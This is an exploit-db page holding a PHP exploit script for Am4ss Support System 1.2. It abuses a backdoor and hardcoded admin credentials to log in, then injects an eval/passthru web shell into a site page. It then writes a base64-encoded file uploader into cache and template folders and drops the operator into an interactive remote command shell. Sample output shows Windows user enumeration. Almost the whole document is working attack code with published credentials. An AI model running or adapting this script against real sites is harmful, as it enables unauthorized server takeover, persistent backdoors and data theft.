am4ss Support System 1.2 – PHP Code Injection

  • 作者: i-Hmx
    日期: 2012-08-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/20199/
  • <?
    /*
    + Title : Am4ss <= 1.2 , PHP Code Injection
    | Download : am4ss.com
    | Tested on: Windows xp sp3 , CentOs
    | Author : Faris , aka i-Hmx
    | n0p1337@gmail.com
    + sec4ever.com , 1337s.cc
    Time line :
     > 10/2011 , Vulnerability discovered
     > till now , i haven't reported the vendor , why!!!
     The idiot backdoored it by himself + the official site is fucked up ;)
     > 19/07/2012 , Public Disclosured
     
    C:\lab>php am4ss.php localhost /lab/am4ss/
    +---------------------------------------+
    |Am4SS , PHP Code Injection |
    | Exploited By i-Hmx|
    |n0p1337@gmail.com|
    | sec4ever.com , 1337s.cc |
    +---------------------------------------+
    | Testing Authentication
    | Injecting our Evil php code
    | Searching for Injected PageID
     => 0
     => 1
     => 2
     => 3
     => 4
     => 5
    | Injected ID is 5
    | I Have wrriten Tiny uploader at :
     + localhost/lab/am4ss//am4ss_cache/fa.php
     + localhost/lab/am4ss//templates/fa.php
    | sec4ever shell online ;)
    i-Hmx@localhost# net user
    User accounts for \\
    -------------------------------------------------------------------------------
    AdministratorASPNET Guest
    HelpAssistantIUSR_PHOENIX-XPIWAM_PHOENIX-XP
    PhoeniXPhoeniX.LimitedSUPPORT_388945a0
    The command completed with one or more errors.
     
    i-Hmx@localhost# exit
    */
    if(!$argv[2])
    {
    echo "\n+ usage : php ".$argv[0]." [Target without http://] /path/\nex : php ".$argv[0]." site.com /support/\n";
    exit();
    }
    session_start();
    echo "\n+---------------------------------------+\n";
    echo "|Am4SS , PHP Code Injection |\n";
    echo "| Exploited By i-Hmx|\n";
    echo "|n0p1337@gmail.com|\n";
    echo "| sec4ever.com , 1337s.cc |\n";
    echo "+---------------------------------------+\n";
    $host=$argv[1];
    $_SESSION['host']=$host;
    $path=$argv[2];
    $vic=$host.$path;
    function kastr($string, $start, $end){
    $string = " ".$string;
    $ini = strpos($string,$start);
    if ($ini == 0) return "";
    $ini += strlen($start);
    $len = strpos($string,$end,$ini) - $ini;
    return substr($string,$ini,$len);
    }
    function get($url,$post,$cookies){
    $curl=curl_init();
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($curl,CURLOPT_URL,"http://".$url);
    curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
    curl_setopt($curl,CURLOPT_COOKIE,$cookies);
    curl_setopt($curl,CURLOPT_FOLLOWLOCATION,0);
    curl_setopt($curl,CURLOPT_TIMEOUT,20);
    $exec=curl_exec($curl);
    curl_close($curl);
    return $exec;
    }
    /*
    Enabling the Dirty Backdoor
    */
    $ok=kastr($vic,"http://","//");
    if (!eregi($host,urlencode(get($vic."/libs/internals/core.assign_by_ref.php?password=ef211a58a6a04914923a7bf23a9a7f0c&username=%C7%E1%D4%D1%DE%C7%E6%ED&country=%C7%E1%E3%DB%D1%C8",'',''))))
    {
    die("+ Exploitation Failed :(");
    }
    /*
    authenticating using the updated admin data
    */
    echo "| Testing Authentication\n";
    if(!eregi('<td class="tfoot" align="middle" colSpan="2">',get($vic."/admincp/settings.php","",'Am4sS_CPCHERKAOUI_UserEmail=alert@am4ss.com;Am4sS_CPCHERKAOUI_PassWord=ef211a58a6a04914923a7bf23a9a7f0c')))
    {
    /*
    login may failed due to bad connection , admincp path error , admin firewall ... etc
    any way u can use the following data to login manually
    */
    echo "| Authentication Failed\n| Try to login manually using :\n + User : alert@am4ss.com\n + Password : kawkawa\n | auth cookies : \n + Am4sS_CPCHERKAOUI_UserEmail : alert@am4ss.com\n + Am4sS_CPCHERKAOUI_PassWord: ef211a58a6a04914923a7bf23a9a7f0c \n+ Exiting \n";
    die();
    }
    /*
    Creating new page to inject our evil php code
    */
    $facode='echo "<pre>Faris on the mic ;)<br>";@eval(base64_decode($_REQUEST[fa]));echo "faris>>>";passthru(base64_decode($_SERVER[HTTP_CMD]));echo "<<<faris";';
    echo "| Injecting our Evil php code\n";
    get($vic."/admincp/pages.php?do=add",'do=save&title=farsawy&codetype=2&code='.$facode.'','Am4sS_CPCHERKAOUI_UserEmail=alert@am4ss.com;Am4sS_CPCHERKAOUI_PassWord=ef211a58a6a04914923a7bf23a9a7f0c');
    echo "| Searching for Injected PageID\n";
    /*
    Trying to get the ijected pageid via testing 100 pages
    i don't think it will exceed 10 pages after all :)
    if this failed , retry exploitation and it will work as hell
    */
    for($f=0;$f<100;$f++)
    {
    $mypage=get($vic."/pages.php?pageid=$f","","");
    echo " => $f\n";
     if(eregi(">>>",$mypage))
     {
     $_SESSION['id']=$f;
     break;
     }
    }
    $myid=$_SESSION['id'];
    echo "| Injected ID is $myid\n";
    /*
    Injecting tinni file uploader at the cache and the templates directories
    these usually chmoded to 777 by the admin
    */
    get($vic."pages.php?pageid=$myid&fa=JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJqMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMTFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVndiRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZMmh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDBpWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsUFNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFhCc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzTkNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2IyRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5ZG1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZajVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzYjJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUgwTkNuME5DajgrIik7CiRmID0gZm9wZW4oImFtNHNzX2NhY2hlL2ZhLnBocCIsInciKTsKJHQgPSBmb3BlbigidGVtcGxhdGVzL2ZhLnBocCIsInciKTsKZndyaXRlKCRmLCRjb2RlKTsKZndyaXRlKCR0LCRjb2RlKTs=","","");
    echo "| I Have wrriten Tiny uploader at :\n + $vic/am4ss_cache/fa.php\n + $vic/templates/fa.php\n";
    /*
    printing sec4ever1337s via passthru()
    to check if it's enabled or not
    */
    if (!eregi("sec4ever1337s",get($vic."/pages.php?pageid=$f&fa=cGFzc3RocnUoJ2VjaG8gc2VjNGV2ZXIxMzM3cycpOw==","","")))
    {
    echo "| passthru is disabled \n";
    echo "| You can evaluate Your code at:\n$vic/pages.php?pageid=$myid&fa=base64_encode(eval code)\n";
    exit('+ Exiting');
    }
    echo "| sec4ever shell online ;)\n";
    /*
    if passthru() is enabled , then get small command executer
    using Egix fsock method to send and retrieve data
    */
    function http_send($host, $packet)
    {
    $sock = fsockopen($host, 80);
    fputs($sock, $packet);
    return stream_get_contents($sock);
    }
    $packet= "GET /{$path}/pages.php?pageid=$myid HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Cmd: %s\r\n";
    $packet .= "Connection: close\r\n\r\n";
    while(1)
    {
    print "\ni-Hmx@".$_SESSION['host']."# ";
    if (($fa = trim(fgets(STDIN))) == "exit") exit("\n+ Exiting");
    $response = http_send($host, sprintf($packet, base64_encode($fa)));
    $final=kastr($response,"faris>>>","<<<faris");
    echo $final;
    }
    /*
    woooooow , that really fucked my mind
    But it was funny :D
    Greets to all sec4ever members
    C u Guys in another Bomb ;)
    */
    ?>